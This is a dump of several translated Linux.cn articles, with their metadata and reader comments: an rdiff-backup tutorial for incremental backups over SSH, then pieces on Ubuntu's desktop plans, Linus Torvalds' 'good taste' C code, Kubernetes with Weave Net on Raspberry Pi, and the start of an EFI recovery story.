rdiff-backup 是一个用于本地/远程增量备份的强大而易用的 Python 脚本，它适用于任何 POSIX 操作系统，如Linux、Mac OS X 或 [Cygwin](http://www.tecmint.com/install-cygwin-to-run-linux-commands-on-windows-system/)。它集合了镜像和增量备份的显著特性。
值得注意的是，它保留了子目录、dev 文件、硬链接，以及关键的文件属性，如权限、uid/gid 所有权、修改时间、扩展属性、acl 以及 resource fork。它可以通过管道以高效带宽的模式工作，这与流行的 [rsync 备份工具](http://www.tecmint.com/rsync-local-remote-file-synchronization-commands/)类似。
rdiff-backup 通过使用 SSH 将单个目录备份到另一个目录，这意味着数据传输被加密并且是安全的。目标目录（在远程系统上）最终会得到源目录的完整副本，但是此外的反向差异会存储在目标目录的特殊子目录中，从而可以恢复前一段时间丢失的文件。
### 依赖
要在 Linux 中使用 rdiff-backup，你需要在系统上安装以下软件包：
* Python v2.2 或更高版本
* librsync v0.9.7 或更高版本
* pylibacl 和 pyxattr Python 模块是可选的，但它们分别是 POSIX 访问控制列表（ACL）和扩展属性支持必需的。
* rdiff-backup-statistics 需要 Python v2.4 或更高版本。
### 如何在 Linux 中安装 rdiff-backup
重要：如果你通过网络运行它，则必须在两个系统中都安装 rdiff-backup，两者最好是相同版本。
该脚本已经存在于主流 Linux 发行版的官方仓库中，只需运行以下命令来安装 rdiff-backup 及其依赖关系：
#### 在 Debian/Ubuntu 中
```
$ sudo apt-get update
$ sudo apt-get install librsync-dev rdiff-backup
```
#### 在 CentOS/RHEL 7 中
```
# wget http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-9.noarch.rpm
# rpm -ivh epel-release-7-9.noarch.rpm
# yum install librsync rdiff-backup
```
#### 在 CentOS/RHEL 6 中
```
# wget http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
# rpm -ivh epel-release-6-8.noarch.rpm
# yum install librsync rdiff-backup
```
#### 在 Fedora 中
```
# yum install librsync rdiff-backup
# dnf install librsync rdiff-backup [Fedora 22+]
```
### 如何在 Linux 中使用 rdiff-backup
如前所述，rdiff-backup 使用 SSH 连接到网络上的远程计算机，SSH 的默认身份验证方式是用户名/密码，这通常需要人工交互。
但是，要自动执行诸如脚本等自动备份之类的任务，那么你需要配置[使用 SSH 密钥无密码登录 SSH](/article-6901-1.html)，因为 SSH 密钥增加了两台 Linux服务器之间的信任来[简化文件同步或传输](http://www.tecmint.com/sync-new-changed-modified-files-rsync-linux/)。
在你设置了 [SSH 无密码登录](/article-6901-1.html)后，你可以使用下面的例子开始使用该脚本。
#### 备份文件到不同分区
下面的例子会备份 `/etc` 文件夹到另外一个分区的 `Backup` 文件夹内：
```
$ sudo rdiff-backup /etc /media/aaronkilik/Data/Backup/mint_etc.backup
```
*备份文件到不同分区*
要排除一个特定文件夹和它的子目录，你可以如下使用 `--exclude` 选项：
```
$ sudo rdiff-backup --exclude /etc/cockpit --exclude /etc/bluetooth /media/aaronkilik/Data/Backup/mint_etc.backup
```
我们可以如下使用 `--include-special-files` 包含所有的设备文件、fifo 文件、socket 文件和链接文件：
```
$ sudo rdiff-backup --include-special-files --exclude /etc/cockpit /media/aaronkilik/Data/Backup/mint_etc.backup
```
还有另外两个重要标志来用于选择文件，`--max-file-size` 用来排除大于给定字节大小的文件，`--min-file-size` 用于排除小于给定字节大小的文件：
```
$ sudo rdiff-backup --max-file-size 5M --include-special-files --exclude /etc/cockpit /media/aaronkilik/Data/Backup/mint_etc.backup
```
#### 在本地 Linux 服务器上备份远程文件
要这么做，我们使用：
```
Remote Server (tecmint) : 192.168.56.102
Local Backup Server (backup) : 192.168.56.10
```
如前所述，你必须在两台机器上安装相同版本的 rdiff-backup，如下所示，请尝试在两台机器上检查版本：
```
$ rdiff-backup -V
```
*检查服务器中 rdiff 版本*
在备份服务器中，像这样创建一个存储备份文件的目录：
```
# mkdir -p /backups
```
现在在备份服务器中，运行下面的命令来将远程 Linux 服务器 192.168.56.102 中的 `/var/log/` 和 `/root` 备份到 `/backups` 中：
```
# rdiff-backup root@192.168.56.102::/var/log/ /backups/192.168.56.102_logs.backup
# rdiff-backup root@192.168.56.102::/root/ /backups/192.168.56.102_rootfiles.backup
```
下面的截图展示了远程服务器 192.168.56.102 中的 `root` 文件夹以及 192.168.56.10 备份服务器中的已备份文件：
*在本地服务器备份远程目录*
注意截图中 “backup” 目录中创建的 rdiff-backup-data 文件夹，它包含了备份过程和增量文件的重要数据。
*rdiff-backup – 备份过程文件*
现在，在 192.168.56.102 服务器中，如下所示 `root` 目录已经添加了额外的文件：
*验证备份目录*
让我们再次运行备份命令以获取更改的数据，我们可以使用 `-v[0-9]`（其中数字指定详细程度级别，默认值为 3，这是静默模式）选项设置详细功能：
```
# rdiff-backup -v4 root@192.168.56.102::/root/ /backups/192.168.56.102_rootfiles.backup
```
*带有摘要的增量备份*
要列出 `/backups/192.168.56.102_rootfiles.backup` 目录中包含的部分增量备份的数量和日期，我们可以运行：
```
# rdiff-backup -l /backups/192.168.56.102_rootfiles.backup/
```
#### 使用 cron 自动进行 rdiff-back 备份
使用 `--print-statistics` 成功备份后，我们可以打印摘要统计信息。但是，如果我们不设置此选项，我们可以仍从会话统计中获得。在手册页的 “STATISTICS” 部分中阅读有关此选项的更多信息。
`-remote-schema` 选项使我们能够指定使用替代方法连接到远程计算机。
现在，我们开始在备份服务器 192.168.56.10 上创建一个 `backup.sh` 脚本，如下所示：
```
# cd ~/bin
# vi backup.sh
```
添加下面的行到脚本中。
```
#!/bin/bash
#This is a rdiff-backup utility backup script
#Backup command
rdiff-backup --print-statistics --remote-schema 'ssh -C %s "sudo /usr/bin/rdiff-backup --server --restrict-read-only /"' root@192.168.56.102::/var/logs /backups/192.168.56.102_logs.back
#Checking rdiff-backup command success/error
status=$?
if [ $status != 0 ]; then
#append error message in ~/backup.log file
echo "rdiff-backup exit Code: $status - Command Unsuccessful" >>~/backup.log;
exit 1;
fi
#Remove incremental backup files older than one month
rdiff-backup --force --remove-older-than 1M /backups/192.168.56.102_logs.back
```
保存文件并退出，接着运行下面的命令在服务器 192.168.56.10 上的 crontab 中添加此脚本：
```
# crontab -e
```
添加此行在每天午夜运行你的备份脚本：
```
0 0 * * * /root/bin/backup.sh > /dev/null 2>&1
```
保存 crontab 并退出，现在我们已经成功自动化了备份过程。确保一切如希望那样工作。
阅读 rdiff-backup 的手册页获取更多信息、详尽的使用选项以及示例：
```
# man rdiff-backup
```
rdiff-backup 主页： <http://www.nongnu.org/rdiff-backup/>
就是这样了！在本教程中，我们向你展示了如何安装并基础地使用 rdiff-backup 这个易于使用的 Python 脚本，用于 Linux 中的本地/远程增量备份。 请通过下面的反馈栏与我们分享你的想法。
（题图：Pixabay，CC0）
---
作者简介：
Aaron Kili 是 Linux 和 F.O.S.S 爱好者，将来的 Linux SysAdmin 和 web 开发人员，目前是 TecMint 的内容创建者，他喜欢用电脑工作，并坚信分享知识。
---
via: <http://www.tecmint.com/rdiff-backup-remote-incremental-backup-for-linux/>
作者：[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
Mark Shuttleworth：桌面对我们来说仍然重要
|
Marius Nestor
|
http://linux.softpedia.com/blog/mark-shuttleworth-ubuntu-on-the-desktop-will-remain-important-to-canonical-515529.shtml
|
在波士顿刚刚召开的 OpenStack Summit 2017 大会上， Ubuntu 的母公司 Canonical 的 CEO Mark Shuttleworth 谈及了 Ubuntu 在桌面、云计算和物联网等方面将来的计划。
|
/data/attachment/album/201705/10/091820y10cz100r93ur03h.jpg.thumb.jpg
|
/data/attachment/album/201705/10/091820y10cz100r93ur03h.jpg
| true | false | true |
wxy
| false |
[
"Ubuntu",
"Canonical"
] |
新闻
|
{
"viewnum": 5997,
"commentnum": 4,
"favtimes": 0,
"sharetimes": 1,
"likes": 0
}
|
[
{
"postip": "118.122.120.11",
"message": "大家会不会有错觉？",
"username": "来自四川成都的 Chrome 57.0|GNU/Linux 用户",
"date": "2017-05-10T09:32:05"
},
{
"postip": "1.180.212.219",
"message": "“xxx对我们来说很重要”，场面话，翻译过来就是“鸡肋”的意思。",
"username": "来自内蒙古的 Chrome 58.0|Windows 10 用户",
"date": "2017-05-10T16:15:42"
},
{
"postip": "183.62.24.58",
"message": "用了这么久unity，一听到要放弃还是很伤感的，感觉以后都不知道用什么了",
"username": "来自广东广州的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-12T14:43:55"
},
{
"postip": "182.146.221.226",
"message": "我也觉得unity比gnome好用多了",
"username": "来自四川泸州的 Chrome 58.0|Windows 10 用户",
"date": "2017-05-12T21:17:25"
}
] |
[
{
"raid": 8413,
"displayorder": 0
},
{
"raid": 8426,
"displayorder": 1
},
{
"raid": 8428,
"displayorder": 2
}
] |
在波士顿刚刚召开的 OpenStack Summit 2017 大会上， Ubuntu 的母公司 Canonical 的 CEO Mark Shuttleworth 谈及了 Ubuntu 在桌面、云计算和物联网等方面将来的计划。
| 2017-05-10T09:18:00 | 2017-05-10T09:18:00 | 8,497 |
/article-8497-1.html
|
在波士顿刚刚召开的 OpenStack Summit 2017 大会上， Ubuntu 的母公司 Canonical 的 CEO Mark Shuttleworth 谈及了 Ubuntu 在桌面、云计算和物联网等方面将来的计划。
在 Mark Shuttleworth 前一段日子宣布了停止开发 Unity 桌面环境之后，[震动了整个开源界](/article-8413-1.html)，就大家非常关注的 Ubuntu Linux 的将来发展，这位 Canonical 及 Ubuntu 的创始人接受了 [theCUBE](https://twitter.com/theCUBE) 的采访。
Mark Shuttleworth 说他的梦想从来就是让 Ubuntu 成为桌面、云和物联网的主流，从未变过，但是事情的发展并不总是如预期的一样。据其所称，Ubuntu 看起来已经成为了云计算和数据中心的事实标准了。
在本次访谈中，Mark Shuttleworth 认为 Ubuntu 桌面对于 Canonical 公司在支持自由和开源软件、IT 创新等方面仍将保持重要地位，但是在商业上，Canonical 将更多的关注在云和物联网方面。
下面是本次访谈的视频：
|
||
向 Linus Torvalds 学习让编出的代码具有 “good taste”
|
Brian Barto
|
https://medium.com/@bartobri/applying-the-linus-tarvolds-good-taste-coding-requirement-99749f37684a
|
在最近关于 Linus Torvalds 的一个采访中，这位 Linux 的创始人，在采访过程中大约 14:20 的时候，提及了关于代码的 “good taste”。good taste？采访者请他展示更多的细节，于是，Linus Torvalds 展示了一张提前准备好的插图。
|
/data/attachment/album/201705/13/092618z2vyzoqzriqzavcf.jpg.thumb.jpg
|
/data/attachment/album/201705/13/092618z2vyzoqzriqzavcf.jpg
| true | false | true |
ucasFL
| false |
[
"编程",
"代码"
] |
观点
|
{
"viewnum": 12969,
"commentnum": 18,
"favtimes": 3,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "116.31.81.182",
"message": "学习了",
"username": "来自广东广州的 Firefox 53.0|Ubuntu 用户",
"date": "2017-05-11T09:18:14"
},
{
"postip": "183.208.31.247",
"message": "原先的 10 行代码现在减少为 4 行。<br />\r\n明明是5行好吧。这智商。",
"username": "来自江苏南京的 Firefox 52.0|Windows 10 用户",
"date": "2017-05-11T10:26:49"
},
{
"postip": "183.208.31.247",
"message": "对不起，确实是4行。",
"username": "来自江苏南京的 Firefox 52.0|Windows 10 用户",
"date": "2017-05-11T10:27:58"
},
{
"postip": "153.99.93.231",
"message": "网格的列子有点搞笑了吧……<br />\r\n好像也是在这里看到的一篇文章，大意就是写代码之前要先把问题想清楚，而不是一边写一边“用代码进行思考”",
"username": "来自江苏的 Chrome 58.0|Windows 7 用户",
"date": "2017-05-11T11:32:31"
},
{
"postip": "113.106.15.4",
"message": "作为一个linux发行版用户我必须发言，因为看到留言中windows用户较多。",
"username": "来自广东中山的 Firefox 53.0|GNU/Linux 用户",
"date": "2017-05-11T17:11:34"
},
{
"postip": "112.117.181.123",
"message": "我记得以前有相似的文章，代码例子是一样的，但是图片不一样。",
"username": "来自云南昆明的 Firefox 53.0|GNU/Linux 用户",
"date": "2017-05-11T18:25:40"
},
{
"postip": "118.198.228.151",
"message": "现在CPU都很强大，对于一般开发而言，没必要花很多时间进行代码优化，至少公司不会给你这个时间。现在看中的是产品效率",
"username": "来自北京的 Android Browser|Android 6.0 用户",
"date": "2017-05-11T20:39:22"
},
{
"postip": "222.210.108.99",
"message": "虽然我不是码农，但我不敢苟同你的看法，硬件技术的发展不是为了低劣的代码～同理优质高效的的代码应该是一个码农应用的追求～",
"username": "来自四川成都的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-12T09:40:29"
},
{
"postip": "116.1.20.190",
"message": "为啥不需要free这个节点？",
"username": "来自广西桂林的 Chrome Mobile 40.0|Android 6.0 用户",
"date": "2017-05-12T14:36:40"
},
{
"postip": "175.0.195.16",
"message": "有点个人价值追求好伐，人活着不是为了公司kpi",
"username": "来自湖南长沙的 QQ Browser 9.6|Windows 7 用户",
"date": "2017-05-12T14:52:49"
},
{
"postip": "61.188.187.59",
"message": "看来我写代码中对某些代码看不顺眼是正确的了？见过太多的“bad taste”的代码，以至于我怀疑自己这样过度考虑是否有必要了。",
"username": "来自四川南充的 Chromium 58.0|Ubuntu 用户",
"date": "2017-05-12T20:54:40"
},
{
"postip": "61.52.140.106",
"message": "上面代码中如果entry是不存在的会怎么样？",
"username": "来自河南郑州的 Chrome Mobile 58.0|Android 6.0 用户",
"date": "2017-05-13T11:52:54"
},
{
"postip": "223.104.3.158",
"message": "代码的可阅读性比性能更重要。只有写代码的人才会考虑性能。在中国，有哪些公司看中代码性能？真看中性能，何必使用C++，C#，java，还有很多解析语言？在中国，搞代码的，你的工资和你写的代码性能几乎无关",
"username": "来自北京的 Android Browser|Android 6.0 用户",
"date": "2017-05-13T12:34:11"
},
{
"postip": "221.220.214.18",
"message": "Linus给出的样例代码好像都没法退出while循环。",
"username": "来自北京的 Opera 44.0|Windows 10 用户",
"date": "2017-05-13T21:17:40"
},
{
"postip": "123.123.252.104",
"message": "+1",
"username": "来自北京的 Chrome 57.0|GNU/Linux 用户",
"date": "2017-05-15T08:48:48"
},
{
"postip": "1.80.3.54",
"message": "只是个例子，只是为了说明good test ，linus不free是他不会吗 , 我很好奇你看文章的重点是什么，是为了找显而易见的错误码？？？",
"username": "来自陕西西安的 Chrome 58.0|Windows 7 用户",
"date": "2017-05-17T17:55:32"
},
{
"postip": "58.243.250.186",
"message": "不需要free的原因有很多，可能是将内存管理交给调用者。也可能采用了内存池的方法，无需free。",
"username": "来自安徽合肥的 Chrome 47.0|Windows 10 用户",
"date": "2017-06-13T18:00:56"
},
{
"postip": "96.9.70.200",
"message": "完成工作和自身价值归并为一才有更好的未来,仅仅完成工作,那么35岁危机很快就来了.",
"username": "来自美国的 Chrome 100.0|Windows 10 用户",
"date": "2022-05-04T11:54:12"
}
] |
[
{
"raid": 7292,
"displayorder": 0
},
{
"raid": 8720,
"displayorder": 0
}
] |
在最近关于 Linus Torvalds 的一个采访中，这位 Linux 的创始人，在采访过程中大约 14:20 的时候，提及了关于代码的 “good taste”。good taste？采访者请他展示更多的细节，于是，Linus Torvalds 展示了一张提前准备好的插图。
| 2017-05-11T08:17:00 | 2017-05-11T08:17:00 | 8,498 |
/article-8498-1.html
|
在[最近关于 Linus Torvalds 的一个采访中](https://www.ted.com/talks/linus_torvalds_the_mind_behind_linux)，这位 Linux 的创始人，在采访过程中大约 14:20 的时候，提及了关于代码的 “good taste”。good taste？采访者请他展示更多的细节，于是，Linus Torvalds 展示了一张提前准备好的插图。
他展示的是一个代码片段。但这段代码并没有 “good taste”。这是一个具有 “poor taste” 的代码片段，把它作为例子，以提供一些初步的比较。
这是一个用 C 写的函数，作用是删除链表中的一个对象，它包含有 10 行代码。
他把注意力集中在底部的 `if` 语句。正是这个 `if` 语句受到他的批判。
我暂停了这段视频，开始研究幻灯片。我发现我最近有写过和这很像的代码。Linus 不就是在说我的代码品味很差吗？我放下自傲，继续观看视频。
随后， Linus 向观众解释，正如我们所知道的，当从链表中删除一个对象时，需要考虑两种可能的情况。当所需删除的对象位于链表的表头时，删除过程和位于链表中间的情况不同。这就是这个 `if` 语句具有 “poor taste” 的原因。
但既然他承认考虑这两种不同的情况是必要的，那为什么像上面那样写如此糟糕呢？
接下来，他又向观众展示了第二张幻灯片。这个幻灯片展示的是实现同样功能的一个函数，但这段代码具有 “goog taste” 。
原先的 10 行代码现在减少为 4 行。
但代码的行数并不重要，关键是 `if` 语句，它不见了，因为不再需要了。代码已经被重构，所以，不用管对象在列表中的位置，都可以运用同样的操作把它删除。
Linus 解释了一下新的代码，它消除了边缘情况，就是这样。然后采访转入了下一个话题。
我琢磨了一会这段代码。 Linus 是对的，的确，第二个函数更好。如果这是一个确定代码具有 “good taste” 还是 “bad taste” 的测试，那么很遗憾，我失败了。我从未想到过有可能能够去除条件语句。我写过不止一次这样的 `if` 语句，因为我经常使用链表。
这个例子的意义，不仅仅是教给了我们一个从链表中删除对象的更好方法，而是启发了我们去思考自己写的代码。你通过程序实现的一个简单算法，可能还有改进的空间，只是你从来没有考虑过。
以这种方式，我回去审查最近正在做的项目的代码。也许是一个巧合，刚好也是用 C 写的。
我尽最大的能力去审查代码，“good taste” 的一个基本要求是关于边缘情况的消除方法，通常我们会使用条件语句来消除边缘情况。你的测试使用的条件语句越少，你的代码就会有更好的 “taste” 。
下面，我将分享一个通过审查代码进行了改进的一个特殊例子。
这是一个关于初始化网格边缘的算法。
下面所写的是一个用来初始化网格边缘的算法，网格 grid 以一个二维数组表示：grid[行][列] 。
再次说明，这段代码的目的只是用来初始化位于 grid 边缘的点的值，所以，只需要给最上方一行、最下方一行、最左边一列以及最右边一列赋值即可。
为了完成这件事，我通过循环遍历 grid 中的每一个点，然后使用条件语句来测试该点是否位于边缘。代码看起来就是下面这样：
```
for (r = 0; r < GRID_SIZE; ++r) {
for (c = 0; c < GRID_SIZE; ++c) {
// Top Edge
if (r == 0)
grid[r][c] = 0;
// Left Edge
if (c == 0)
grid[r][c] = 0;
// Right Edge
if (c == GRID_SIZE - 1)
grid[r][c] = 0;
// Bottom Edge
if (r == GRID_SIZE - 1)
grid[r][c] = 0;
}
}
```
虽然这样做是对的，但回过头来看，这个结构存在一些问题。
1. 复杂性 — 在双层循环里面使用 4 个条件语句似乎过于复杂。
2. 高效性 — 假设 `GRID_SIZE` 的值为 64，那么这个循环需要执行 4096 次，但需要进行赋值的只有位于边缘的 256 个点。
用 Linus 的眼光来看，将会认为这段代码没有 “good taste” 。
所以，我对上面的问题进行了一下思考。经过一番思考，我把复杂度减少为包含四个条件语句的单层 `for` 循环。虽然只是稍微改进了一下复杂性，但在性能上也有了极大的提高，因为它只是沿着边缘的点进行了 256 次循环。
```
for (i = 0; i < GRID_SIZE * 4; ++i) {
// Top Edge
if (i < GRID_SIZE)
grid[0][i] = 0;
// Right Edge
else if (i < GRID_SIZE * 2)
grid[i - GRID_SIZE][GRID_SIZE - 1] = 0;
// Left Edge
else if (i < GRID_SIZE * 3)
grid[i - (GRID_SIZE * 2)][0] = 0;
// Bottom Edge
else
grid[GRID_SIZE - 1][i - (GRID_SIZE * 3)] = 0;
}
```
的确是一个很大的提高。但是它看起来很丑，并不是易于阅读理解的代码。基于这一点，我并不满意。
我继续思考，是否可以进一步改进呢？事实上，答案是 YES！最后，我想出了一个非常简单且优雅的算法，老实说，我不敢相信我会花了那么长时间才发现这个算法。
下面是这段代码的最后版本。它只有一层 `for` 循环并且没有条件语句。另外。循环只执行了 64 次迭代，极大的改善了复杂性和高效性。
```
for (i = 0; i < GRID_SIZE; ++i) {
// Top Edge
grid[0][i] = 0;
// Bottom Edge
grid[GRID_SIZE - 1][i] = 0;
// Left Edge
grid[i][0] = 0;
// Right Edge
grid[i][GRID_SIZE - 1] = 0;
}
```
这段代码通过每次循环迭代来初始化四条边缘上的点。它并不复杂，而且非常高效，易于阅读。和原始的版本，甚至是第二个版本相比，都有天壤之别。
至此，我已经非常满意了。
那么，我是一个有 “good taste” 的开发者么？
我觉得我是，但是这并不是因为我上面提供的这个例子，也不是因为我在这篇文章中没有提到的其它代码……而是因为具有 “good taste” 的编码工作远非一段代码所能代表。Linus 自己也说他所提供的这段代码不足以表达他的观点。
我明白 Linus 的意思，也明白那些具有 “good taste” 的程序员虽各有不同，但是他们都是会将他们之前开发的代码花费时间重构的人。他们明确界定了所开发的组件的边界，以及是如何与其它组件之间的交互。他们试着确保每一样工作都完美、优雅。
其结果就是类似于 Linus 的 “good taste” 的例子，或者像我的例子一样，不过是千千万万个 “good taste”。
你会让你的下个项目也具有这种 “good taste” 吗？
---
via: <https://medium.com/@bartobri/applying-the-linus-tarvolds-good-taste-coding-requirement-99749f37684a>
作者：[Brian Barto](https://medium.com/@bartobri?source=post_header_lockup) 译者：[ucasFL](https://github.com/ucasFL) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 组织编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何在树莓派上部署 Kubernetes
|
Lucas Käldström
|
https://opensource.com/article/17/3/kubernetes-raspberry-pi
|
只用几步，使用 Weave Net 在树莓派上设置 Kubernetes。
|
/data/attachment/album/201705/11/074122ejzzylj8pllnflw8.jpg.thumb.jpg
|
/data/attachment/album/201705/11/074122ejzzylj8pllnflw8.jpg
| true | false | true |
geekpi
| false |
[
"树莓派",
"Kubernetes"
] |
树莓派
|
{
"viewnum": 10026,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
只用几步，使用 Weave Net 在树莓派上设置 Kubernetes。
| 2017-05-11T09:38:00 | 2017-05-11T09:38:00 | 8,499 |
/article-8499-1.html
|
>
> 只用几步，使用 Weave Net 在树莓派上设置 Kubernetes。
>
>
>
当我开始对 [ARM](https://en.wikipedia.org/wiki/ARM_architecture)设备，特别是 Raspberry Pi 感兴趣时，我的第一个项目是一个 OpenVPN 服务器。
通过将 Raspberry Pi 作为家庭网络的安全网关，我可以使用我的手机来控制我的桌面，远程播放 Spotify，打开文档以及一些其他有趣的东西。我在第一个项目中使用了一个现有的教程，因为我害怕自己在命令行中拼砌。
几个月后，这种恐惧消失了。我扩展了我的原始项目，并使用 [Samba 服务器](https://www.samba.org/samba/what_is_samba.html)从文件服务器分离出了 OpenVPN 服务器。这是我第一个没有完全按照教程来的项目。不幸的是，在我的 Samba 项目结束后，我意识到我没有记录任何东西，所以我无法复制它。为了重新创建它，我不得不重新参考我曾经用过的那些单独的教程，将项目拼回到一起。
我学到了关于开发人员工作流程的宝贵经验 - 跟踪你所有的更改。我在本地做了一个小的 git 仓库，并记录了我输入的所有命令。
### 发现 Kubernetes
2015 年 5 月，我发现了 Linux 容器和 Kubernetes。我觉得 Kubernetes 很有魅力，我可以使用仍然处于技术发展的概念 - 并且我实际上可以用它。平台本身及其所呈现的可能性令人兴奋。在此之前，我才刚刚在一块 Raspberry Pi 上运行了一个程序。而有了 Kubernetes，我可以做出比以前更先进的配置。
那时候，Docker（v1.6 版本，如果我记得正确的话）在 ARM 上有一个 bug，这意味着在 Raspberry Pi 上运行 Kubernetes 实际上是不可能的。在早期的 0.x 版本中，Kubernetes 的变化很快。每次我在 AMD64 上找到一篇关于如何设置 Kubernetes 的指南时，它针对的还都是一个旧版本，与我当时使用的完全不兼容。
不管怎样，我用自己的方法在 Raspberry Pi 上创建了一个 Kubernetes 节点，而在 Kubernetes v1.0.1 中，我使用 Docker v1.7.1 [让它工作了](https://github.com/luxas/kubernetes-on-arm)。这是第一个将 Kubernetes 全功能部署到 ARM 的方法。
在 Raspberry Pi 上运行 Kubernetes 的优势在于，由于 ARM 设备非常小巧，因此不会产生大量的功耗。如果程序以正确的方式构建而成，那么就可以在 AMD64 上用同样的方法运行同一个程序。这样的一块小型 IoT 板为教育创造了巨大的机会。用它来做演示也很有用，比如你要出差参加一个会议。携带 Raspberry Pi （通常）比拖着大型英特尔机器要容易得多。
现在按照[我建议](https://github.com/kubernetes/community/blob/master/contributors/design-proposals/multi-platform.md)的 ARM（32 位和 64 位）的支持已被合并到 Kubernetes 核心中。ARM 的二进制文件会自动与 Kubernetes 一起发布。虽然我们还没有为 ARM 提供自动化的 CI（持续集成）系统，不过在 PR 合并之前会自动确定它可在 ARM 上工作，现在它运转得不错。
### Raspberry Pi 上的分布式网络
我通过 [kubeadm](https://kubernetes.io/docs/getting-started-guides/kubeadm/) 发现了 Weave Net。[Weave Mesh](https://github.com/weaveworks/mesh) 是一个有趣的分布式网络解决方案，因此我开始了解更多关于它的内容。在 2016 年 12 月，我在 [Weaveworks](https://www.weave.works/) 收到了第一份合同工作，我成为了 Weave Net 中 ARM 支持团队的一员。
我很高兴可以在 Raspberry Pi 上运行 Weave Net 的工业案例，比如那些需要设备更加移动化的工厂。目前，将 Weave Scope 或 Weave Cloud 部署到 Raspberry Pi 可能不太现实（尽管可以考虑使用其他 ARM 设备），因为我猜这个软件需要更多的内存才能运行良好。理想情况下，随着 Raspberry Pi 升级到 2GB 内存，我想我可以在它上面运行 Weave Cloud 了。
在 Weave Net 1.9 中，Weave Net 支持了 ARM。Kubeadm（通常是 Kubernetes）在多个平台上工作。你可以使用 Weave 将 Kubernetes 部署到 ARM，就像在任何 AMD64 设备上一样安装 Docker、kubeadm、kubectl 和 kubelet。然后初始化控制面板组件运行的主机：
```
kubeadm init
```
接下来，用下面的命令安装你的 pod 网络：
```
kubectl apply -f https://git.io/weave-kube
```
在此之前在 ARM 上，你只能用 Flannel 安装 pod 网络，但是在 Weave Net 1.9 中已经改变了，它官方支持了 ARM。
最后，加入你的节点：
```
kubeadm join --token <token> <master-ip>
```
就是这样了！Kubernetes 已经部署到了 Raspberry Pi 上了。相比在 Intel/AMD64 上运行，你不用做什么特别的事情；Weave Net 在 ARM 上就能工作的很好。
### Raspberry Pi 社区
我希望 Raspberry Pi 社区成长起来，他们的思想传播到世界其他地方。他们在英国和其他国家已经取得了成功，但在芬兰并不是很成功。我希望生态系统能够继续扩展，以让更多的人学习如何部署 Kubernetes 或 Weave 到 ARM 设备上。毕竟，这些是我学到的。通过在 Raspberry Pi 设备上自学，我更好地了解了 ARM 及其上面部署的软件。
### 最后的思考
我通过加入用户社区、提出问题和不同程度的测试，在线学习了关于 Raspberry Pi 和 Kubernetes 的一切。
我是居住在芬兰的说瑞典语的高中生，到目前为止，我还从来没有参加过编程或计算机课程。但我仍然能够加入开源社区，因为它对年龄或教育没有限制：你的工作是根据其价值来评判的。
对于那些第一次要在开源项目中做出贡献感到紧张的人，我想说：深入进去，因为这是完全值得的。你做什么没有任何限制，你将永远不知道开源世界将为你提供哪些机会。这会很有趣，我保证！
---
作者简介：
Lucas Käldström - 谢谢你发现我！我是一名来自芬兰的说瑞典语的高中生。
---
via: <https://opensource.com/article/17/3/kubernetes-raspberry-pi>
作者：[Lucas Käldström](https://opensource.com/users/luxas) 译者：[geekpi](https://github.com/geekpi) 校对：[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
从损坏的 Linux EFI 安装中恢复
|
Igor Ljubuncic
|
http://www.dedoimedo.com/computers/grub2-efi-corrupt-part-recovery.html
|
在过去的十多年里，Linux 发行版在安装前、安装过程中、以及安装后偶尔会失败，但我总是有办法恢复系统并继续正常工作。然而，Solus 损坏了我的笔记本。
|
/data/attachment/album/201705/11/080719bttazxmjmahlxvjv.jpg.thumb.jpg
|
/data/attachment/album/201705/11/080719bttazxmjmahlxvjv.jpg
| true | false | true |
ictlyh
| false |
[
"UEFI",
"安装"
] |
技术
|
{
"viewnum": 10390,
"commentnum": 0,
"favtimes": 3,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
在过去的十多年里，Linux 发行版在安装前、安装过程中、以及安装后偶尔会失败，但我总是有办法恢复系统并继续正常工作。然而，Solus 损坏了我的笔记本。
| 2017-05-11T11:00:00 | 2017-05-11T11:00:00 | 8,500 |
/article-8500-1.html
|
在过去的十多年里，Linux 发行版在安装前、安装过程中、以及安装后偶尔会失败，但我总是有办法恢复系统并继续正常工作。然而，[Solus](http://www.dedoimedo.com/computers/solus-1-2-review.html) 损坏了我的笔记本。
GRUB 恢复。不行，重装。还不行！Ubuntu 拒绝安装，目标设备的报错一会这样，一会那样。哇。我之前还没有遇到过像这样的事情。我的测试机已变成无用的砖块。难道我该绝望吗？不，绝对不。让我来告诉你怎样你可以修复它吧。
### 问题详情
所有事情都从 Solus 尝试安装它自己的启动引导器 - goofiboot 开始。不知道什么原因、它没有成功完成安装，留给我的就是一个无法启动的系统。经过 BIOS 引导之后，我进入一个 GRUB 恢复终端。
我尝试在终端中手动修复，使用类似和我在我详实的 [GRUB2 指南](http://www.dedoimedo.com/computers/grub-2.html)中介绍的各种命令。但还是不行。然后我尝试按照我在 [GRUB2 和 EFI 指南](http://www.dedoimedo.com/computers/grub2-efi-recovery.html)中的建议从 Live CD 中恢复（LCTT 译注：Live CD 是一个完整的计算机可引导安装媒介，它包括在计算机内存中运行的操作系统，而不是从硬盘驱动器加载；CD 本身是只读的。 它允许用户为任何目的运行操作系统，而无需安装它或对计算机的配置进行任何更改）。我用 efibootmgr 工具创建了一个引导入口，确保标记它为有效。正如我们之前在指南中做的那样，之前这些是能正常工作的。哎，现在这个方法也不起作用。
我尝试做一个完整的 Ubuntu 安装，把它安装到 Solus 所在的分区，希望安装程序能给我一些有用的信息。但是 Ubuntu 无法完成安装。它报错：failed to install into /target。又回到开始的地方了。怎么办？
### 手动清除 EFI 分区
